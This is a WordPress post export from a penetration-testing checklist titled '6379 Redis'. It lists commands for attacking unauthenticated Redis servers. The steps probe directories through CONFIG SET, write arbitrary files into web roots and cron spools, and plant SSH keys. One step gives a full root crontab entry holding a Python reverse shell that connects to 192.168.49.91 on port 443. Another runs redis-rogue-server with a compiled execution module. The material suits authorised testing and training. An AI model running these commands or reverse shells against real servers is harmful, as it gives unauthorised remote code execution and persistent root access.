{"id":2153,"date":"2021-01-09T15:03:14","date_gmt":"2021-01-09T14:03:14","guid":{"rendered":"https:\/\/andreas-klingler.de\/infosec\/?p=2153"},"modified":"2021-03-02T12:38:12","modified_gmt":"2021-03-02T11:38:12","slug":"6379-redis","status":"publish","type":"post","link":"https:\/\/infosec.andreas-klingler.de\/?p=2153","title":{"rendered":"6379 Redis"},"content":{"rendered":"\n<h2 class=\"wp-block-heading\">Enumeration<\/h2>\n\n\n\n<h3 class=\"wp-block-heading\">Mandatory<\/h3>\n\n\n\n<ol class=\"wp-block-list\"><li>Try to con\u00adnect:<br><code>telnet $target 6379 \/\/ or: redis-cli -h $target<br>...<br>info<br>CONFIG GET *<br>system.exec \"id\"<\/code><\/li><li>Try to check if you can deter\u00admine the exis\u00adtence of direc\u00adto\u00adries.<br><code>config set dir \/var\/www\/htdocs<br>-ERR Changing directory: No such file or directory<br>config set dir \/etc<br>+OK<\/code><\/li><li>Try to&nbsp;write.<ol><li>Gen\u00ader\u00adal com\u00admands:<br><code>config set dir \/var\/www\/html<br>+OK<br>config set dbfilename t.txt<br>+OK<br>set test \"hallo\"<br>+OK<br>save<br>+OK<\/code><\/li><li>Pos\u00adsi\u00adble places:<ol><li>Upload a <span class=\"caps\">SSH<\/span> key (think also to the redis&nbsp;user).<\/li><li>Upload a reverse shell&nbsp;file<\/li><li>Upload a crontab file<br><code>config set dir \/var\/spool\/cron\/crontabs\/<br>+OK<br>config set dbfilename root<br>+OK<br>set test \"\\n\\n*\/1 * * * * \/usr\/bin\/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\\\"192.168.49.91\\\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\\\"\/bin\/sh\\\",\\\"-i\\\"]);'\\n\\n\"<br>+OK<br>save<br>+OK<\/code><\/li><\/ol><\/li><\/ol><\/li><li>Try to use the redis-rougue-server:<ol><li><a href=\"https:\/\/github.com\/n0b0dyCN\/RedisModules-ExecuteCommand\">Com\u00adpile the redis exe\u00adcu\u00adtion mod\u00adule<\/a>. make will cre\u00adate <code>src\/module.so<\/code>.<\/li><li>Clone the redis-rogue-server.<\/li><li>Copy the <code>module.so<\/code> into the server\u2019s direc\u00adto\u00adry as <code>exp.so<\/code>.<\/li><li>Exe\u00adcute:<br><code>python3 redis-rogue-server.py --rhost $target --rport 6379 --lhost 192.168.49.91 --lport 443<\/code><\/li><\/ol><\/li><\/ol>\n\n\n\n<h3 class=\"wp-block-heading\">Optional<\/h3>\n\n\n\n<ul class=\"wp-block-list\"><li>Try to upload an <span class=\"caps\">SSH<\/span>&nbsp;key<\/li><li>Try to set a Redis slave to sync all data to an own sys\u00adtem, add data and push it to the master.<\/li><\/ul>\n","protected":false},"excerpt":{"rendered":"<p>Enu\u00admer\u00ada\u00adtion Manda\u00adto\u00adry Try to con\u00adnect:telnet $tar\u00adget 6379 \/\/ or: redis-cli \u2011h $target\u2026infoCONFIG <span class=\"caps\">GET<\/span> *system.exec \u201cid\u201d Try to check if you can deter\u00admine the exis\u00adtence of direc\u00adto\u00adries.config set dir \/var\/www\/ht\u00addocs-ERR Chang\u00ading direc\u00adto\u00adry: No such file or direc\u00adto\u00adrycon\u00adfig set dir \/etc+<span class=\"caps\">OK<\/span> Try to&nbsp;write.&nbsp; Gen\u00ader\u00adal com\u00admands:config set dir \/var\/www\/html+OKconfig set dbfile\u00adname t.txt+OKset test \u201challo\u201d+OKsave+<span class=\"caps\">OK<\/span> Pos\u00adsi\u00adble places:&nbsp; Upload a&nbsp;[\u2026]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"wp_typography_post_enhancements_disabled":false,"footnotes":""},"categories":[36],"tags":[37,179],"class_list":["post-2153","post","type-post","status-publish","format-standard","hentry","category-port","tag-checklist","tag-redis"],"_links":{"self":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2153","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2153"}],"version-history":[{"count":5,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2153\/revisions"}],"predecessor-version":[{"id":2884,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=\/wp\/v2\/posts\/2153\/revisions\/2884"}],"wp:attachment":[{"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2153"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2153"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/infosec.andreas-klingler.de\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2153"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}